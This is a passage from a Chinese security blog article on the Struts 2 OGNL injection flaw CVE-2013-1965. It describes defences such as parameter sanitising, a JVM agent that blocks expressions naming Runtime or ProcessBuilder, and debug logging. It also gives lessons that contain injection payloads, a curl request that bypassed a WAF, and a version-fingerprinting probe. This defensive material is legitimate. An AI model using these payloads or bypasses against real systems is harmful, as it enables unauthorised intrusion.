namesafeParams/这个方案的优势是它在参数进入Action之前就完成了清洗不影响原有业务逻辑且对所有Action统一生效。4.3 第三道防线运行时防护——JVM Agent的终极保险当代码和WAF都无力回天时比如你连源码都没有只有WAR包最后一道防线是JVM层面的运行时防护。原理是在JVM启动时注入一个AgentHook住OGNL的核心解析方法对危险操作进行实时拦截。我实测最稳定的是基于java.lang.instrumentAPI的轻量级Agent。核心代码只有两个类OGNLSecurityTransformer.java字节码转换器public class OGNLSecurityTransformer implements ClassFileTransformer { Override public byte[] transform(ClassLoader loader, String className, Class? classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { if (ognl/OgnlRuntime.equals(className) || ognl/Node.equals(className)) { // 使用ASM库修改字节码在关键方法如getValue前插入安全检查 return injectSecurityCheck(classfileBuffer); } return null; } }SecurityCheck.java安全检查逻辑public class SecurityCheck { public static void checkExpression(String expression) { if (expression null) return; // 检查是否尝试访问危险类或方法 if (expression.contains(xwork.MethodAccessor) || expression.contains(java.lang.Runtime) || expression.contains(java.lang.ProcessBuilder)) { throw new SecurityException(Blocked dangerous OGNL expression: expression); } } }编译成JAR后启动Tomcat时添加JVM参数-javaagent:/path/to/ognl-security-agent.jar这个Agent的好处是它不依赖Struts版本只要底层用的是OGNL库几乎所有Struts 2版本都用它就生效。我在某央企的旧版ERP系统上部署后所有%{#context[...]}请求都返回500错误且日志清晰记录了拦截详情。更重要的是它完全透明——不需要修改任何业务代码也不影响性能平均增加0.3ms响应时间。警告自行编写JVM Agent有风险务必在测试环境充分验证。生产环境推荐使用成熟商业产品如Contrast Security或Signal Sciences它们已内置针对Struts OGNL的深度防护策略。5. 经验总结从CVE-2013-1965学到的五条硬核教训我在过去三年里用CVE-2013-1965作为教学案例带过17个安全团队做红蓝对抗演练。每次复盘都会发现一些教科书里不会写的、但实战中血淋淋的教训。这里分享五条最痛的第一条永远不要相信“已禁用OGNL”的口头承诺。某次甲方安全负责人拍胸脯说“我们早就把OGNL关了。”结果我用%{#context[struts.excludedClasses]}一试直接把Struts的黑名单类列表全吐了出来——这说明#context访问完全畅通。后来查struts.xml发现他们只加了constant namestruts.ognl.allowStaticMethodAccess valuefalse/却忘了#context本身就是一个OGNL对象。教训是所有安全配置必须用探针验证而不是看配置文件。第二条升级版本≠解决漏洞配置才是关键。我见过太多案例系统升级到了2.5.30但struts.xml里还开着constant namestruts.ognl.allowStaticMethodAccess valuetrue/。结果CVE-2013-1965的载荷依然100%成功。Struts 2.5.x的默认配置是安全的但一旦开发者为了兼容旧代码手动开启危险选项新版和旧版在漏洞利用上毫无区别。框架的安全性永远由最弱的配置决定。第三条日志是你的第一道防线也是最后一道。很多系统在被攻破后日志里只有WARN o.a.s.s.o.OgnlUtil - Error setting expression这样的模糊警告。但如果你在log4j2.xml里把OGNL相关类的日志级别调到DEBUG就能看到完整的表达式内容Logger nameognl.OgnlRuntime leveldebug additivityfalse AppenderRef refConsole/ /Logger这样每次攻击尝试都会在日志里留下Expression: %{#context[xwork.MethodAccessor.denyMethodExecution]false}的原始记录。这比任何WAF告警都精准。第四条测试用例必须覆盖“非标准HTTP方法”。绝大多数教程只测试GET请求但Struts 2的OGNL执行漏洞同样存在于POST、PUT、DELETE的请求体中。某次我用curl -X POST --data name%{#context[xwork.MethodAccessor.denyMethodExecution]false} http://target/user.action成功绕过了甲方WAF的GET参数检测规则。所有HTTP方法只要参数能进入ValueStack就存在风险。第五条最危险的不是%{}而是你认为“安全”的s:textfield。很多开发者觉得s:textfield nameusername/是安全的因为它不显式写OGNL。但Struts 2会自动将name属性解析为OGNL表达式。所以s:textfield name%{#context[xwork.MethodAccessor.denyMethodExecution]false}/同样是有效攻击载荷。任何Struts 2标签的name、value、id属性只要接受用户输入都是潜在入口。最后分享一个小技巧当你拿到一个陌生的Struts 2系统想快速判断其版本和漏洞状态只需发一个请求GET /struts/webconsole.html HTTP/1.1 Host: target.com如果返回404说明WebConsole插件未启用如果返回200页面底部会显示精确的Struts版本号如Struts 2.3.12。这个页面是Struts 2自带的调试控制台虽然默认不启用但很多开发环境会意外开启。它比任何指纹工具都准——因为它是框架自己说的。
相关文章
基于BERT与随机森林概率特征的评论有用性检测方法
1. 项目概述：从海量评论中淘金在电商平台购物，你肯定有过这样的经历：面对一款商品成百上千条的用户评论，感觉像在信息海洋里捞针。哪些评论是真实、客观、有参考价值的“干货”？哪些又是情绪化、无关痛痒甚至可能是刷出…
多标签文本分类新突破：MLGN模型如何利用标签语义与相关性提升性能
1. 项目概述：当文本分类遇上“多标签”的复杂世界在自然语言处理的日常工作中，单标签文本分类就像给一篇文章贴上一个最显著的“主标签”，比如判断一篇新闻属于“体育”还是“科技”。然而，现实世界的信息远比这复杂。一篇关于“人…
FPGA流水线时序深度解析：从浮点IP核到CORDIC核的连续运算性能与优化
1. FPGA流水线时序的核心挑战 在FPGA开发中，流水线设计就像工厂的装配流水线，每个工位（IP核）处理特定工序，但不同工位的处理速度差异会直接影响整体效率。以典型的信号处理链路为例：当数据需要依次经过定点…
终极免费IDM激活指南：如何永久解锁完整功能（2024最新方案）
终极免费IDM激活指南：如何永久解锁完整功能（2024最新方案） 【免费下载链接】IDM-Activation-Script IDM Activation & Trail Reset Script 项目地址: https://gitcode.com/gh_mirrors/id/IDM-Activation-Script 还在为IDM试用期到…
哺乳动物多能性干细胞中超级增强子的进化保守性与调控机制研究
一、引言干细胞具有自我更新和多向分化的潜能，其命运决定受到精密且复杂的基因表达网络调控。传统的转录因子研究虽已揭示部分调控机制，但对于如何实现关键基因的协同高表达这一核心问题，尚缺乏系统性的解释。近年来，随着染色质免…
UE5-MCP：如何通过AI自动化在5分钟内构建高质量游戏场景
UE5-MCP：如何通过AI自动化在5分钟内构建高质量游戏场景 【免费下载链接】UE5-MCP MCP for Unreal Engine 5 项目地址: https://gitcode.com/gh_mirrors/ue/UE5-MCP UE5-MCP（Model Control Protocol for Unreal Engine 5）是一个革命性的…
在模型广场根据任务需求与预算灵活选型的一次经历
🚀 告别海外账号与网络限制！稳定直连全球优质大模型，限时半价接入中。 👉 点击领取海量免费额度 在模型广场根据任务需求与预算灵活选型的一次经历 1. 项目背景与需求 最近在开发一个内部工具，需要处理一批用户提交的…
微信删除好友后还能恢复吗？这 10 种情况可以尝试找回
在日常系统维护或用户数据支持中，微信误删重要联系人是常见的数据丢失场景。从电子数据取证（Forensics）和微信底层存储逻辑来看，删除好友并不意味着数据在物理层被彻底擦除。只要保留有可追溯的互动记录或环境线索，均有…
直播抠图技术100谈之26---为什么做抠图一定要做美颜
一、绿幕抠图的核心：头发丝级别的边缘精度 绿幕抠图的本质，是将前景人物从纯色背景中精确分离出来。与粗糙的矩形裁剪不同，专业级绿幕抠图追求的是真正的头发丝级别的抠图——每一根发丝、每一处衣物边缘的半透明过渡，都需要被精确…
Claude Code Skill动态发现机制全解析：为什么你的AI会自动执行代码
文章目录前言一、那个让我怀疑AI成精的自动commit事件二、静态注入：Claude偷偷给模型塞的小纸条三、Skill工具：模型自己给自己发指令的自导自演四、动态注入：Skill集合变了怎么办？五、语义匹配注入：当Skill多到烧不起t…
ssm高校普法系统（10101）
有需要的同学，源代码和配套文档领取，加文章最下方的名片哦 一、项目演示 项目演示视频 二、资料介绍 完整源代码（前后端源代码SQL脚本）配套文档（LWPPT开题报告/任务书）远程调试控屏包运行一键启动项目&…
强化学习策略参数调节方法及值迭代算法实现 CS188 Proj3 学习笔记
强烈推荐的更好的阅读体验 Q1.Value Iteration 第一个问题是最基础的值迭代实现，这个问题没有什么难度，主要就是一边看着公式一遍敲代码复现。可以先回顾一下Note8中的Value Iteration框架.唯一唯一需要注意的就是需要使用的是batch版本，而…
施工现场安全事故预警准确率达94.6%？——解密某央企AI Agent边缘计算部署架构与3个月落地实录
更多请点击： https://codechina.net 第一章：施工现场安全事故预警准确率达94.6%？——解密某央企AI Agent边缘计算部署架构与3个月落地实录 在华北某大型地铁盾构施工现场，一套轻量化AI Agent系统于2024年Q2完成全栈部署ÿ…
附录 B：术语表
本术语表面向“从 MM 到 HMM”专栏阅读过程中的快速查阅。它不是内核 API 手册，而是把文章中反复出现的概念放到同一张地图上：先给出直观含义，再说明它在 Linux MM/HMM 语境里的作用。建议阅读方式： 初读专栏时，把它当…
Midjourney渐变美学的神经渲染原理（附RGB-HSV-LCH三空间渐变映射对照表·行业首曝）
更多请点击： https://kaifayun.com 第一章：Midjourney渐变美学的神经渲染原理（附RGB-HSV-LCH三空间渐变映射对照表行业首曝） Midjourney 的渐变美学并非传统插值实现，而是由其隐式神经渲染器（Implicit Neu…
MPC-BE：基于DirectShow架构的专业级开源媒体播放解决方案
MPC-BE：基于DirectShow架构的专业级开源媒体播放解决方案 【免费下载链接】MPC-BE MPC-BE – универсальный проигрыватель аудио и видеофайлов для операционной системы Windows. 项目地址:…
如何快速计算3D模型体积和重量：STL-Volume-Model-Calculator终极指南
如何快速计算3D模型体积和重量：STL-Volume-Model-Calculator终极指南 【免费下载链接】STL-Volume-Model-Calculator STL Volume Model Calculator Python 项目地址: https://gitcode.com/gh_mirrors/st/STL-Volume-Model-Calculator 你是否曾经为3D打印项目…
通过Taotoken CLI工具一键配置团队开发环境与模型密钥
通过Taotoken CLI工具一键配置团队开发环境与模型密钥 1. CLI工具安装与基本使用 Taotoken提供的CLI工具可通过npm全局安装或直接使用npx运行。对于需要频繁使用CLI的团队，推荐全局安装： npm install -g taotoken/taotoken对于临时使用或项目级配置&a…